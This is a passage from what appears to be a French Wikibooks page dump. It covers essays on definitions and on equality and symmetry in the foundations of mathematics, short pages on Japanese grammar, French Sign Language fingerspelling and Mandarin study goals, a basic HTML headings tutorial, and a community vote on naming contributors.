définir ?== Souvent pour donner la signification d’un concept, on donne une définition. Comme comprendre une théorie c’est comprendre sa signification, on en conclut parfois à tort que l’essentiel de la compréhension consiste à connaître des définitions. Sur ce sujet un logicien a cité ironiquement un livre qui prétendait tout définir. Il y a un bien sûr problème de régression à l’infini. On définit toujours un mot avec d’autres mots et s’il faut définir toujours aussi ces autres mots on ne pourrait jamais s’arrêter. Pour prouver que le verbe être ne pouvait pas être défini, Pascal (De l’esprit géométrique ou de l’art de persuader) faisait remarquer qu’une telle définition contiendrait forcément le verbe être : être c’est ... Il a proposé alors la théorie suivante de la définition : il y a des notions premières et indéfinissables, fondamentales, dont la signification est nécessairement connue de tout être pourvu qu’il soit rationnel. Toutes les autres notions peuvent être définies à partir des notions premières. Pascal a souligné une ressemblance entre les preuves axiomatiques et les définitions. On déduit tous les théorèmes à partir d’axiomes considérés comme des vérités simples et évidentes. On s’interdit la circularité, c’est à dire qu’on procède par étapes, en commençant par les axiomes et en continuant sur la base de tout ce qui précède. On n’a pas le droit de se servir d’une thèse avant de l’avoir démontrée à partir des axiomes. De même toutes les notions peuvent être définies à partir de notions premières, simples et évidentes. Là aussi la circularité est interdite. On n’a pas le droit de se servir d’une notion dans sa propre définition ou dans les définitions des termes qui la définissent. La théorie de Pascal a une part de vérité. Il y a parfois des axiomes qui sont aussi des vérités simples et évidentes. Il y a parfois des notions premières simples et évidentes à partir desquelles on peut définir beaucoup de choses. Mais pas toujours. Parfois la vérité et la signification des axiomes et des notions premières ne sont pas du tout évidentes. Il ne faut pas prendre l’interdiction de circularité d’une façon trop absolue. Une théorie se développe à partir de principes qu’elle ne démontre pas. Mais une théorie peut être développée pour prouver la vérité des principes d’une autre théorie. Une théorie contient toujours des notions premières qu’elle ne définit pas et à partir desquelles on peut définir toutes les autres. Mais d’autres théories peuvent être développées pour préciser ou définir ces “indéfinissables”. Lorsqu’un terme est défini à partir d’autres, sa signification est déterminée à partir de celles des termes définissants. Mais la signification des notions premières, comment est-elle connue ? ==Les axiomes fixent la signification des notions fondamentales== On dit parfois que les axiomes fixent la signification des notions premières et c’est tout à fait juste. En un sens ils constituent la définition des notions premières. Mais il ne s’agit pas d’une définition logique au sens ordinaire, parce qu’on ne postule pas l’égalité par définition entre une expression définie et une expression définissante, mais on peut les considérer comme une définition déguisée. ==L’essence des êtres== N’importe quel système d’axiomes peut être utilisé comme point de départ pour une théorie, pourvu qu’il soit cohérent. Inventer une théorie peut être très facile : choisir quelques formules, s’assurer qu’elles forment un système cohérent, et c’est terminé. Mais les théories ainsi obtenues ne sont pas toutes également intéressantes. On veut des théories qui ont du sens. Ce qui fait qu’une théorie a du sens est une question très difficile. C’est la question de l’essence des êtres. Connaître l’essence d’un être, c’est connaître une classe d’êtres à laquelle il appartient, et des principes, des lois fondamentales, vraies pour tous les êtres de cette classe. On demande parfois en plus que ces lois suffisent pour caractériser la classe, qu’un être qui obéit à ces lois y est automatiquement contenu. L’axiome d’extensionalité, par exemple, fait partie de l’essence des ensembles. Deux ensembles sont égaux si et seulement si ils contiennent les mêmes éléments. Si un être n’obéissait pas à cette loi il ne pourrait pas être un ensemble. La question de l’essence est aussi mystérieuse que celle de la connaissance. Comment se fait-il que nous avons des connaissances ? Pourquoi le monde est-il compréhensible ? Quelques principes, quelques règles de déduction ou de calcul, et l’on a tout ce qu’il faut pour dévoiler les mystères de la réalité, est-ce un miracle ? Pourquoi les êtres humains disposent-ils d’un tel privilège ? Pourquoi avons-nous une connaissance partielle des essences ? Les mots n’auraient pas beaucoup de sens si nous ne connaissions pas des vérités. Sens ou signification, essence, connaissance, vérité, il s’agit toujours de la même question métaphysique, c’est quoi la vérité ? Les moyens de la logique formelle sont insuffisants pour apporter une large réponse à la question de la vérité. Pourquoi les mots ont-ils un sens ? est une question d’anthropologie. La logique formelle apporte seulement quelques éléments de réponse. ==Qu’est-ce qu’une théorie fondamentale ?== A priori n’importe quelle notion peut être prise comme une notion première ou fondamentale et on peut énoncer des axiomes à son sujet pour préciser sa signification. Il se trouve que de même qu’il y a des principes plus fondamentaux que d’autres il y a aussi des notions plus fondamentales que d’autres. On peut comprendre cela en raisonnant sur la notion de puissance d’une théorie. On dira qu’une théorie T+ est plus puissante qu’une autre T si tous les théorèmes de T peuvent être traduits par des théorèmes équivalents dans T+. Cela se produit lorsque les notions premières de T peuvent être définies à partir de celles de T+ et que les principes de T peuvent être prouvés à partir de ceux de T+. Les principes et les notions les plus fondamentaux sont donc ceux des théories les plus puissantes. Parfois on ne peut pas dire qu’une notion ou un principe est plus fondamental qu’un autre parce que les uns peuvent être dérivés à partir des autres et réciproquement. Mais cela n’empêche pas de reconnaître que certains principes et certaines notions sont particulièrement fondamentaux. Quand on a défini une notion à partir d’autres on peut se servir de toutes les connaissances sur les notions définissantes pour connaître la notion définie. Les définitions sont une façon de se servir d’une théorie pour en développer une autre, une sorte d’importation intellectuelle. On peut aussi considérer que les théories les plus fondamentales ont un immense potentiel de significations et que les définitions sont destinées à révéler ce potentiel. De ce point de vue, faire un concept par une définition ne consiste pas à créer une nouvelle signification mais à choisir dans l’espace des significations potentielles, ou espace de tout ce qui est définissable, concevable, à partir des notions premières. ==La fabrication des concepts== D’un point de vue formel, il y a deux façons de faire des concepts. Soit on se repose sur une théorie existante et on définit un nouveau concept à partir de ceux qui sont dèjà connus. La fabrication du concept est alors la fabrication de sa définition. Soit on développe une nouvelle théorie en donnant des axiomes, qui fixent la signification des concepts premiers. La fabrication du concept est alors la fabrication des axiomes. Cette façon formelle d’envisager la fabrication des concepts est bien sûr à trop courte vue. Le point important en général n’est pas de donner des définitions ou des axiomes très précis, mais de comprendre, par les intuitions, les déductions, les pensées, les expériences, les lectures, toute la richesse de significations, l’unité et les distinctions nécessaires, de nos concepts. Sur ce point, la logique strictement formelle ne dit rien, ou presque rien. La signification, au sens fort, d’un concept, n’est jamais complètement donnée dans sa définition formelle. Les formules sont plutôt des outils destinés à développer quelque chose qui est plus que de simples combinaisons de mots. Japonais:Plus de particules 2789 20505 2005-09-03T12:41:34Z Duarna 465 +modèle Retour à la [[Table des matières (Japonais)|table des matières]]. == へ - he - Particule de destination == == で - de - Particule de moyen == == まで- made - Particule qui exprime le point d'arrivée == == から - kara - Particule qui exprime le point de départ == == に - ni - La particule à tout faire == {{Grammaire Japonaise}} [[catégorie:Grammaire Japonaise]] LSF/Dactylologie 2791 34824 2006-02-26T11:44:17Z 82.216.23.60 /* Règles */ ='''Dactylologie ou alphabet manuel'''= ==Qu'est-ce que c'est ?== :Il s'agit de 26 signes plus ou moins arbitraires pour l'alphabet, en effet certains ressemblent au dessin de la lettre écrite. Cet alphabet ''fait un pont'' entre la LSF et le français écrit. :La dactylologie s'utilise principalement pour '''épeler les noms propres''' et très rarement les mots. *'''Les noms de personnes''' **Lorsque'on parle de personnes qui sont sourdes elles ont généralement un signe qui correspond à leur nom et il n'est pas nécessaire d'épeler (seulement si l'interlocuteur ne le connaît pas, il aura vite fait d'intègrer ce nouveau signe-nom). **Lorsque vous êtes entendant, les sourds vous bâptisent d'un signe-nom et c'est ainsi que l'on parlera de vous désormais. *'''Les noms de villes ou de lieux''' **Certaines villes ont des signes comme certains lieux, mais il faut parfois épeler car les signes ne sont pas forcément connus par l'interlocuteur ! *'''Epeler pour écrire''' **Enfin la dactylologie peut être utilisée pour apprendre les correspondances avec le '''français écrit''', et elle s'utilise souvent en classe en situation d'écriture du franaçais par les élèves sourds ! : : : ==Règles== La '''dactylologie''' se fait avec la '''même main''' (si le signeur est droitier : la main droite, si le signeur est gaucher : la gauche), on ne change pas de main d'une lettre à l'autre. Elle se fait face à l'interlocuteur pour qu'il visualise bien ce dont vous parlez ! '''Quelques conseils :''' * ne pas rythmer lettre par lettre : mais restez sur le même plan avec la '''main fixe'''. * ne pas décaler les lettres d'un l'espace à l'autre : rester sur '''le même côté''' (droite pour les droitiers, gauche pour les gauchers). * '''quand 2 lettres identiques''' se suivent dans le mot épelé, faites un petit mouvement latéral vers l'extérieur du corps avec la même lettre. * '''les accents''' sont falcultatifs (avec l'index). * essayez les signes dactylologiques en pensant le mot par '''syllabe''', vous signerez plus vite * pour lire quelqu'un qui dactylologue, n'épelez pas mentalement, mais imaginez par syllabe, c'est nettement plus facile. * finissez d'épeler, même si l'interlocuteur semble avoir compris. ==Signes de l'alphabet dactylologique ou alphabet manuel== Il s'agit d'un signeur gaucher, les signes sont les mêmes pour les droitiers mais avec la main droite. : * nb : il faut savoir que chez les sourds la proportion de sourds gauchers est plus élevée que chez les entendants, peut-être cela est-il dû à la spécificité gestuelle de leur langue naturelle car c'est le même hémisphère dans le cerveau qui commande la gaucherie et le mouvement ! : [[Image : LSF_LettreA.jpg|125px]] [[Image : LSF_LettreB.jpg|95px]] [[Image : LSF_LettreC.jpg|125px]] [[Image : LSF_LettreD.jpg|125px]] [[Image : LSF_LettreE.jpg|125px]] [[Image : LSF_LettreF.jpg|125px]] [[Image : LSF_LettreG.jpg|125px]] [[Image : LSF_LettreH.jpg|125px]] [[Image : LSF_LettreI.jpg|125px]] [[Image : LSF_LettreJ.jpg|125px]] [[Image : LSF_LettreK.jpg|125px]] [[Image : LSF_LettreL.jpg|125px]] [[Image : LSF_LettreM.jpg|125px]] [[Image : LSF_LettreN.jpg|125px]] [[Image : LSF_LettreO.jpg|125px]] [[Image : LSF_LettreP.jpg|125px]] [[Image : LSF_LettreQ.jpg|125px]] [[Image : LSF_LettreR.jpg|95px]] [[Image : LSF_LettreS.jpg|125px]] [[Image : LSF_LettreT.jpg|125px]] [[Image : LSF_LettreU.jpg|125px]] [[Image : LSF_LettreV.jpg|125px]] [[Image : LSF_LettreW.jpg|125px]] [[Image : LSF_LettreX.jpg|125px]] [[Image : LSF_LettreY.jpg|125px]] [[Image : LSF_LettreZ.jpg|95px]] ==[[Configurations]]== * Les configurations de l'alphabet dactylologique se retrouvent dans plusieurs signes de la LSF, une même configuration placée à des endroits différents par rapport au signeur peut vouloir dire des choses différentes !! * Pour voir un classement par [[Configurations]] == Exercices == # [[LSF/Exercices/F et T]] # [[LSF/Exercices/3 novembre]] # [[LSF/Exercices/Chiffres_ABC]] Mots interrogatifs (japonais) 2794 42802 2006-05-19T11:46:46Z 172.211.239.233 Retour à la [[Table des matières (Japonais)|table des matières]] <sub>なに </sub><br /> <big>何</big> (nan ou nani) = quoi ? だれ (dare) = qui ? どなた (donata) = qui ? - forme plus polie いつ (itsu) = quand ? どこ (doko) = où ? いかが (ikaga) = comment ? なぜ (naze) = pourquoi? いくら (ikura) = combien ? (pour des quantités globales) いくつ (ikutsu) = combien ? (pour dénombrer) どのぐらい (donogurai) = à peu près combien? どちら (dochira) = lequel des deux? どんな (donna) = de quel sorte? (suivit d' un nom) [[Catégorie:Glossaires de Japonais]] Fondements des mathématiques: l'égalité 2795 14362 2005-03-03T18:34:53Z Thierry Dugnolle 206 /* Pourquoi des égalités ? */ ==Pourquoi des égalités ?== Les théories mathématiques consistent presque toujours à étudier des égalités, ou équations, ou identités. Au premier abord cela peut sembler curieux. A quoi bon savoir que deux êtres sont égaux ? Qu’est-ce que cela veut dire ? Au sens le plus strict de l’égalité, chaque être est égal à lui-même et n’est pas égal à tous les autres. Cela semble assez évident mais à quoi bon le dire ? Dire que Pierre est égal à Pierre ne dit pas grand chose sur Pierre. Si les équations consistaient seulement à dire que chaque être est identique à lui-même, on ne comprend pas pourquoi tous les mystères de la matière devraient être livrés dans des équations fondamentales. ==La diversité des noms== La plupart des équations mathématiques ne sont pas de la forme x = x mais x = y , où x et y sont deux noms différents du même être. Une équation consiste simplement à dire que deux mots différents nomment le même être. Pourquoi dire qu’il y a plusieurs façons de nommer la même chose peut-il avoir autant d’importance pour la science ? Il semble au premier abord que lorsqu’on a appris plusieurs façons de dire la même chose on n’a pas appris beaucoup, on ne connait que des conventions. Mais ce jugement ne vaut que pour les mots simples, parce que leur signification est purement conventionnelle. Pour les mots composés les choses sont très différentes. La composition du mot peut révéler beaucoup sur la chose. Cette technique a été mise à profit par les chimistes, qui sont capables de reconstituer mentalement ou sur le papier une structure moléculaire simplement à partir de son nom. Une égalité entre deux mots composés dit bien qu’ils nomment la même chose, mais elle dit surtout que deux façons de construire conduisent au même résultat. Ce n’est pas toujours une vérité purement conventionnelle. Cela peut nous apprendre beaucoup sur la nature de la réalité. Ainsi entendues, les équations vraies ne sont pas de pures tautologies. Elles pourraient être fausses si des procédés réels de construction ne conduisaient pas aux mêmes résultats. ==La vérité expérimentale des équations== Raisonnons d’abord sur l’égalité des longueurs. Quel est le sens physique de ces égalités ? Pour savoir si deux distances AB et CD sont égales, on peut repérer deux points E et F sur une règle solide, et s’assurer que EF peut être ajusté à la fois sur AB et sur CD . Il faut bien sûr que la règle soit solide. Un matériau mou ne convient pas. Au sens géométrique, une règle est solide lorsque les distances entre ses points ne varient pas. Mais comment savoir que ces distances ne varient pas, qu’elles restent toujours égales à elles-mêmes ? Pour savoir que deux distances sont égales, on se sert d’un corps solide. Mais pour savoir qu’un corps est solide il faut savoir que ses distances restent égales. Voilà qui ressemble à un cercle vicieux. Les mesures de longueur fournissent des résultats cohérents lorsque la règle de transitivité est respectée : si les mesures établissent que AB et CD ont la même longueur, et que CD et EF ont aussi la même longueur, alors elles doivent établir que AB et EF ont la même longueur. Imaginons que parmi tous les corps supposés solides, les uns se dilatent, d’autres se contractent, et chacun selon son propre rythme. Alors les mesures de longueur ne seraient plus possibles, elles fourniraient des résultats incohérents. Cette hypothèse n’est pas purement imaginaire : les solides réels ne sont pas solides au sens géométrique. Leurs dimensions varient avec la température. Pour obtenir des mesures cohérentes, il faut expérimenter dans un milieu de température uniforme ou bien avec des matériaux peu sensibles aux variations de température. Imaginons maintenant que tous les corps supposés solides soient en vérité dans un mouvement de perpétuelle expansion, tous au même rythme. Les mesures de longueur seraient toujours possibles, elles fourniraient des résultats cohérents et elles conduiraient à supposer qu’une distance sur un corps reste toujours égale à elle-même alors qu’elle ne cesse de grandir. Cela montre qu’on ne peut pas savoir en un sens absolu si une distance reste toujours égale à elle-même. Les vérités géométriques sont fondés expérimentalement sur des mesures qui établissent des relations entre les corps. C’est la cohérence entre toutes les mesures qui montrent la vérité des équations que l’on établit. Toute la discussion sur l’égalité des longueurs pourrait être conduite sur l’égalité des durées, des masses, des températures et de n’importe quelle grandeur physique. La vérité des théories repose sur la cohérence des mesures. ==Les axiomes généraux de l'égalité== *Tout être est identique à lui-même Tout x est tel que x = x C’est une pure tautologie. *L’égalité est toujours symétrique. Pour tous x et y, si x = y alors y = x *L’égalité est transitive. Pour tous x, y et z, si x = y et y = z alors x = z Cette dernière règle permet d’enchainer les calculs. *Si deux êtres sont égaux tout ce qui est vrai de l’un est également vrai de l’autre (Axiome de Leibniz). Ce principe est traduit par un schéma d’axiomes. Pour tout prédicat P(x, y1,..., yn) qui contient x, y1,..., yn comme variables libres, la formule suivante est un axiome. Pour tous x, y, y1,..., yn, si x = y et P(x, y1, ..., yn) alors P(y, y1, ..., yn) Leibniz a proposé ce principe comme une définition de l’égalité. Mais il s’est exposé à l’objection suivante. “Deux êtres sont égaux lorsque tout ce qui est vrai de l’un est vrai de l’autre” peut être traduit par “deux êtres sont égaux lorsque les discours vrais qu’on tient sur eux sont égaux”. L’égalité apparaît dans les termes définissants et ne peut donc pas être définie ainsi. Il vaut probablement mieux regarder l’égalité comme une notion première, indéfinissable. Les axiomes de symétrie et de transitivité sont des conséquences du principe de Leibniz. ==Les équations et la rationalité du réel== L’importance des équations en physique fondamentale n’est pas un accident. Le réel peut être connu parce qu’il y a des égalités à la fois vraies et non purement tautologiques. S’il n’y avaient pas d’équations vraies qui déterminent le réel, celui-ci ne serait pas rationnel. Aucun esprit ne pourrait le comprendre. Autrement dit, l’égalité est le concept le plus fondamental de la raison. Les paragraphes suivants vont développer ce point. ===Le principe d’individuation=== Connaître consiste toujours à connaître un ou plusieurs êtres. On peut les appeler aussi des objets, des individus, des entités, des choses. On veut dire bien sûr qu’il s’agit d’objets de connaissance ou de choses à connaître mais pas forcément des choses à manipuler. Le principe d’individuation consiste à dire que tout individu est différent de tous les autres. Leibniz illustrait ce principe en demandant d’aller chercher dans le jardin deux feuilles rigoureusement identiques. On trouve toujours de petites différences. L’application du principe d’individuation pose des difficultés. La physique moderne des particules élémentaires et des atomes montre qu’en un sens toutes les particules élémentaires d’une même espèce sont rigoureusement identiques, indiscernables. Mais dans ce cas la notion d’individu perd son sens. Il en va de même pour les atomes et les petites molécules mais pas pour les grosses molécules, dès qu’elles sont capables d’avoir une histoire. Savoir qu’un individu est différent de tous les autres est l’une des vérités les plus incontestables, au moins à propos des êtres humains. A bien des égards elle est aussi l’une des plus importantes. Mais elle ne suffit pas pour connaître un individu. Si on sait seulement cela de lui, on sait encore très peu, parce que justement on ne sait pas encore ce qui le distingue des autres. Tous les individus sont différents de tous les autres et en cela ils sont tous semblables. ===Le holisme et les lois générales=== Connaître un individu n’est jamais le connaître d’une façon isolée, abstraite, du monde dans lequel il est. Connaître c’est bien connaître des êtres, donc des individus, mais c’est les connaître tous ensemble. On ne veut pas connaître seulement tel ou tel morceau du tout mais on veut une compréhension globale. Tout le système, tout l’Univers doit pouvoir être compris. Telle est l’ambition du holisme. Tout connaître peut sembler démesuré, hors de portée pour l’esprit fini d’un mortel, mais cela ne l’est pas. Un peu de réflexion suffit pour s’en convaincre et toutes les sciences le confirment. La possibilité d’énoncer des lois générales, de dire des vérités sur tous les êtres, ou sur tous les êtres d’un même genre, en une seule phrase, avec un nombre fini de mots, suffit pour prouver la capacité de la raison. ===Les similitudes=== Deux êtres du même genre sont semblables. Il s’agit bien d’une égalité mais ce n’est pas l’égalité des individus, qui sont deux, maisn de leurs genres. On rassemble des êtres dans un même genre quand ce qu’on connaît sur les uns peut servir à connaître les autres. Ils obéissent aux mêmes lois. On peut donner un nombre fini de principes, une essence commune, qui permet de les connaître tous ensemble. Deux êtres sont semblables quand une partie de ce qu’on connait de l’un peut être appliqué à l’autre. Ce principe est au fondement de toutes les sciences pour de nombreuses raisons. *Quand un chimiste étudie un échantillon de molécules, il suppose à juste titre que ses conclusions sont également valables pour tous les autres échantillons des mêmes molécules. Il en va de même pour tous les êtres dès qu’on leur attribue un genre. *On rencontre partout des êtres semblables, des événements semblables, des mouvements et des comportements semblables : rien de nouveau sous le Soleil. Il n’y a pas lieu de s'en lamenter parce que si tout était toujours nouveau nous serions désemparés pour le connaître. *Une chose est dans un état permanent lorsqu’elle demeure semblable à elle-même. Connaissant son état présent, on en déduit son état passé et son état à venir. *Quand on trouve une similitude pertinente, on peut faire un transfert de connaissances. Tout ce qu’on a appris sur un sujet peut servir à développer les connaissances sur un autre sujet. ===L’obéissance aux lois=== La vérité des lois manifeste une sorte d’égalité de la Nature avec elle-même. En tous temps, en tous lieux, tous les êtres obéissent aux mêmes lois, autant que nous le sachions. La Nature est toujours et partout semblable à elle-même. Connaissant l’Univers tel qu’il est ici et maintenant nous pouvons en déduire ce qu’il a été et ce qu’il sera ici et ailleurs. Cette remarquable uniformité de l’Univers peut sembler étonnante d’un point de vue strictement matérialiste. Pourquoi la matière est-elle aussi disciplinée ? Le désordre, le jamais vu, la transgression de toutes les lois physiques, ne sont pas logiquement exclues. Au point de vue d’un être rationnel, l’égalité de la Nature avec elle-même est cependant une condition nécessaire. Si elle n’était pas en partie vraie, si notre Univers n’obéissait pas à au moins quelques lois, alors aucune science ne pourrait se développer. En fait aucun être vivant, rationnel ou non, ne pourrait exister. Mais l’uniformité de l’Univers est cruciale pour le développement du savoir. En plus des raisons déjà mentionnées sur l’importance des similitudes on peut donner les suivantes. *Une expérience n’a de valeur scientifique que si elle est reproductible. Il faut que des personnes différentes puissent refaire la même expérience et obtenir les mêmes résultats, en des lieux différents, à des moments différents, avec un matériel différent. *Pour développer les sciences il faut faire des observations, il faut donc des corps sensibles, organes des sens ou instruments de mesure. Pour que la mesure soit fiable, il faut qu’au même état de l’objet mesuré soit toujours associé le même état de l’instrument de mesure. Autrement dit, il faut qu’il y ait une loi de causalité, que le lien entre la cause et l’effet soit universel, qu’il ne dépende pas du lieu ou du moment de la mesure. Si la même cause n’avait pas toujours le même effet, il n’y aurait pas de mesure, pas d’observation possible. Que l’Univers obéisse à des lois est une condition de possibilité de l’observation. *Les sujets qui connaissent la Nature sont tous semblables les uns aux autres. Les connaissances acquises par l'un peuvent être acquises par tous les autres. Si les êtres humains n’étaient pas semblables, ils ne pourraient pas partager leurs connaissances, et donc il n’y aurait pas de science. ==Les symétries== ===Que veut dire symétrique ?=== Un système est symétrique quand on peut permuter simultanément tous ses éléments sans modifier sa structure. Les symétries traduisent une sorte d'égalité du système avec lui-même, ou d'uniformité de sa structure. La notion d'isomorphisme, qui sera exposée plus loin, permet de préciser cette définition. Un papillon par exemple, comme la plupart des animaux, est symétrique, au moins en surface, parce qu’on peut permuter tous les points de la moitié gauche du corps avec les points symétriques sur la moitié droite, sans que l’apparence du papillon soit modifiée Les exemples de symétries sont très nombreux. Il y en a autant qu’il y a de façons de permuter simultanément les parties d’un système : symétries par rapport à un axe ou un plan, rotations, translations, homothéties, toutes leurs combinaisons et beaucoup d’autres. Lorsqu’un système est symétrique, les parties permutables sont nécessairement semblables, presque identiques, puisque le système n’est pas modifié par leur permutation. L’espace euclidien en son entier est un des systèmes les plus symétriques, au sens où l’ensemble des façons de permuter simultanément tous ses points sans modifier sa structure, son groupe de symétries, est l’un des plus grands, parmi les groupes des symétries géométriques. Tous les points de l’espace sont semblables. Ils n’ont pas d’autre qualité que d’être un point. Ils ont tous les mêmes relations avec le reste de l’espace. Les principales symétries de l’espace euclidien sont les isométries. Que tous les points sont semblables s’exprime alors par le fait que n’importe quel point peut être transformé en n’importe quel autre par une isométrie. Si l’on brise la symétrie de l’espace en introduisant une sphère, alors tous les points ne sont plus semblables : il y a des points sur la sphère, d’autres à l’intérieur, d’autres encore à l’extérieur. En revanche tous les points de la sphère sont encore semblables. N’importe lequel d’entre eux peut être transformé en n’importe quel autre par une isométrie : une rotation autour du centre de la sphère. Les symétries de l'espace, du temps et de l’Univers traduisent l’uniformité de sa structure. ===Qu’est-ce qu’un isomorphisme ?=== La notion d’isomorphisme permet de préciser la définition des symétries. Un système est défini comme un modèle. Il faut déterminer *l’ensemble U, fini ou infini, de ses éléments, ses points, ses atomes ou ses constituants élémentaires. C’est le domaine d’existence associé au système ou à l’univers étudié. *l’ensemble, en général fini, des prédicats fondamentaux, propriétés de base des éléments et relations entre eux. *l’ensemble, en général vide ou fini, des opérateurs, ou fonctions, qui déterminent davantage la structure du système. Une transformation t est un isomorphisme, ou une symétrie, pour une relation binaire R lorsqu’elle est une fonction inversible de U dans U telle que pour tout x et y , si x R y alors tx R ty Ce qui est vrai de x et y, de satisfaire la relation R, est également vrai de tx et ty . x est semblable à tx , y à ty . Cette définition d’un isomorphisme se généralise aisément aux prédicats unaires et à toutes les relations, quel que soit le nombre de leurs arguments. Pour un prédicat unaire P, une transformation t est un isomorphisme lorsque pour tout x, si Px alors Ptx Dans l’exemple du papillon, la symétrie entre la gauche et la droite est un isomorphisme pour les propriétés (les prédicats unaires) de couleur. Un point a la même couleur que son point symétrique. Une transformation t est un isomorphisme pour un opérateur binaire + lorsque pour tous x et y, t(x+y)=(tx)+(ty) Cette définition d’un isomorphisme se généralise aisément à tous les opérateurs, quel que soit le nombre de leurs arguments. A un opérateur binaire +, on peut associer une relation ternaire définie par x+y=z . On voit alors que la définition d’un isomorphisme pour un opérateur est un cas particulier de la définition d’un isomorphisme pour les relations. ===Les groupes de symétries=== Le groupe des symétries est l’ensemble de tous les isomorphismes du système. On a la propriété suivante. Pour tous isomorphismes t et u, t°u est un isomorphisme et l’inverse de t est un isomorphisme Cela donne à l’ensemble des isomorphismes la structure algébrique d’un groupe. La théorie des groupes est le principal outil théorique d’étude des symétries. Image:Preparation2lasagnes.JPG 2798 14364 2005-03-04T15:41:00Z Antoinel 182 préparation des lasagnes {{GFDL}} Calcul écrit 2802 26016 2005-11-24T17:47:56Z Marc 66 {{ébauche}} [[Catégorie:Mathématiques]] Le "calcul écrit" regroupe toutes les méthodes permettant d'effectuer une opération mathématique à la main (sans calculatrice), sur une feuille de papier. Le maîtriser est utile non seulement quand nous ne disposons pas de calculatrice (les calculatrices sont parfois interdites aux examens de mathématiques), mais aussi et surtout lorsque nous devons effectuer des opérations sur les polynômes (pour lesquelles les calculatrices se révèlent peu pratiques). * [[Effectuer une addition en calcul écrit]] * [[Effectuer une soustraction en calcul écrit]] * [[Effectuer une multiplication en calcul écrit]] * [[Effectuer une division en calcul écrit]] * [[Extraire une racine en calcul écrit]] * [[Opérations sur les polynômes]] * [[Exercices de calcul écrit|Exercices]] Effectuer une addition en calcul écrit 2803 14369 2005-03-04T18:42:23Z Esope 99 correction (suppression de l'espace qui empêchait la redirection) #REDIRECT [[Faire une addition à la main]] Méthodes de chinois (mandarin) pour 3 mois de visites en Chine 2805 36845 2006-03-10T09:41:21Z 86.199.71.138 /* Écrit */ Pour ceux qui sont prêt à investir un temps important à l'étude du chinois en vue d'un voyage prolongé ou d'une mission de travail, il faudra sans doute se donner les objectifs suivants : === Oral === * Prononciation intelligible * Construction de phrases simples * Capacité à reconnaitre certains mots et phrases === Écrit === * Connaissance d'une centaine de caractères * Lecture de panneaux d'indications * Écriture de mots et phrases simples Ce niveau de chinois devrait permettre de résoudre la plupart des problèmes quotidiens : se nourrir, se loger, se déplacer, demander un renseignement. L'apprentissage d'un certain nombre de caractères est indispensable pour se repérer dans un environnement chinois. Programmation HTML Titres et paragraphes 2807 26555 2005-12-06T19:49:23Z Maryla 819 {{Programmation HTML}} Un document HTML doit être structuré correctement afin d'être bien compris par les lecteurs humains ainsi que les programmes informatiques (par exemple les robots d'indexation des moteurs de recherche). « structuré correctement » signifie divisé en titres, sous-titres et paragraphes. Cette partie présente la façon de spécifier le découpage du document. Vous remarquerez sûrement que les exemple ont un affichage qui ressemble au web d'il y a dix ans, mais l'important est de structurer correctement vos documents. L'habillage de ceux-ci est expliqué dans le livre sur le CSS. On ne dirait pas comme ça mais c'est un point très important : la séparation entre contenu pour le HTML et aspect visuel pour les CSS est un élément capital pour un site moderne. === La balise <code>p</code>=== Cette balise sert à créer un paragraphe. Comme tout paragraphe, il est isolé par défaut du reste du texte par un petit espace avant et après (mais vous pouvez changer ça avec les fameux CSS). De plus, le texte va automatiquement à la ligne à la fin d'un paragraphe. Exemple : <pre><nowiki> <body> <p>Voici un paragraphe</p> <p>En voici un deuxième</p> </body> </nowiki></pre> === Les balises <code>h</code>=== Les titres et le sous titres sont indiqués par la balise <code>h1</code> à <code>h6</code> (six niveaux de titres sont possibles). Le niveau 1 est le niveau le plus haut dans la hiérarchie du document, suivi du niveau 2, etc. Exemple : <pre><nowiki> <body> <h1>Un titre de niveau 1 (un gros titre)</h1> <p>Un paragraphe</p> <h2>Un titre de niveau 2 (un sous titre)</h2> <p>Un paragraphe</p> <h3>Un titre de niveau 3 (un sous-sous titre)</h3> <p>Etc.</p> </body> </nowiki></pre> ''Attention''! Il ne faut pas choisir un titre pour son rendu (taille du texte affiché) mais pour son importance dans la hiérarchie. Ainsi, on ne mettra pas un titre de niveau 2 lorsqu'il s'agit du titre principal. La taille, couleur etc. des titres sera ensuite modifiable en... CSS, vous commencez à comprendre. Image:Charlotte aux pommes.JPG 2810 14376 2005-03-05T09:52:13Z Antoinel 182 Charlottes aux pommes {{GFDL}} Wikilivres:Prise de décision/Nom des rédacteurs 2811 42524 2006-05-16T17:16:03Z 82.228.23.12 Comment désigner, de manière générale, un rédacteur de Wikilivres ? La question avait déjà été soulevée dans le [[Wikilivres:Le_Bistro#Noms_des_contribuables_de_Wikilivres|Bistro]]. Cependant, aucune décision n'a encore été prise. Ajoutez vos propositions. Pour information, les rédacteurs sont pour le moment appelés "Wikipédiens" dans les pages méta : [[Wikilivres:Wikipédiens par pays]] et [[Wikilivres:Wikipédiens par thèmes d'intérêt]]. ---- === Wikiécrivain(ne)s === #Ce nom me semble plus approprié et plus personnalisé que "Wikipédiens". [[Utilisateur:Esope|Esope]] 5 mar 2005 à 10:48 (UTC) #'''Pour''' Cela me semble une bonne idée [[Utilisateur:Pfv2|Pfv2]] 2 oct 2005 à 03:45 (UTC) #'''Pour''' [[Utilisateur:Greudin|Greudin]] #'''Contre''', la suite de voyelles 'i' 'é' est imprononcable. Wikécrivain me semble mieux, mais on perd le wiki. [[Utilisateur:Epommate|Epommate]] 24 oct 2005 à 21:58 (UTC) #'''Pour''' [[Utilisateur:Clément Cordaro|Clément Cordaro]] 1 avril 2006 à 18:04 (UTC) === Wikibookien(ne)s=== #Propositions, anglophone, tirés du titre, mais simple et rapide[[Utilisateur:jonathaneo|jonathaneo]] # ''''Contre''' : Pas besoin d'emprunter des mots à l'anglais! [[Utilisateur:Pfv2|Pfv2]] 2 oct 2005 à 03:45 (UTC) # '''Contre''' : barbarisme ! [[Utilisateur:Epommate|Epommate]] 24 oct 2005 à 21:59 (UTC) #Contre : terme inadapté à la forumle francophone. [[Utilisateur:82.228.23.12|82.228.23.12]] 16 mai 2006 à 19:15 (CEST) === Wikiauteur === #Pour, moi j'aime bien [[Utilisateur:Merrheim|Merrheim]] 31 janvier 2006 à 10:03 (UTC) #Contre aussi, la suite ''i'', ''a'' n'est pas très jolie à l'oreille... [[Utilisateur:Epommate|Epommate]] 24 février 2006 à 22:18 (UTC) Image:LSFLettreA.jpg 2813 14379 2005-03-06T21:00:09Z Clairette 219 {{delete}} LSF/Contribuer/OS X 2814 14380 2005-03-06T21:26:06Z Kowey 113 == Les outils utilisés == Pour la vidéo : * [http://prdownloads.sourceforge.net/macbbdemux/bbDEMUX.sit.hqx?download BBDemux] - pour séparer la partie sonore de la partie vidéo de 